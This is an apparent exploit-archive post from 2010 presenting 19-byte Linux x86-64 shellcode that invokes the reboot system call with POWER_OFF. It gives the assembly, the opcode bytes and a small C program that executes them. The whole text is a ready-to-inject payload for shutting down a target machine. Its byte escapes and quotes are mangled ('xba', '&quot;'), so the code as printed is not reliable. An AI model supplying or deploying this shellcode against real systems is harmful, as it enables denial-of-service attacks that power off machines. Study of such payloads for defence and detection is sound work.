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linux/x86-64 reboot(POWER_OFF) 19 bytes shellcode

Posted on 25 April 2010

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linux/x86-64 reboot(POWER_OFF) 19 bytes shellcode
=================================================

# Linux/x86_64 reboot(POWER_OFF) 19 bytes shellcode
# Date: 2010-04-25
# Author: zbt
# Tested on: x86_64 Debian GNU/Linux
 
 
/*
    ; reboot(LINUX_REBOOT_MAGIC1, LINUX_REBOOT_MAGIC2,
LINUX_REBOOT_CMD_POWER_OFF)
 
    section .text
        global _start
 
    _start:
        mov     edx, 0x4321fedc
        mov     esi, 0x28121969
        mov     edi, 0xfee1dead
        mov     al,  0xa9
        syscall
*/
int main(void)
{
    char reboot[] =
    &quot;xbaxdcxfex21x43&quot;  // mov    $0x4321fedc,%edx
    &quot;xbex69x19x12x28&quot;  // mov    $0x28121969,%esi
    &quot;xbfxadxdexe1xfe&quot;  // mov    $0xfee1dead,%edi
    &quot;xb0xa9&quot;              // mov    $0xa9,%al
    &quot;x0fx05&quot;;             // syscall
 
    (*(void (*)()) reboot)();
 
    return 0;
}


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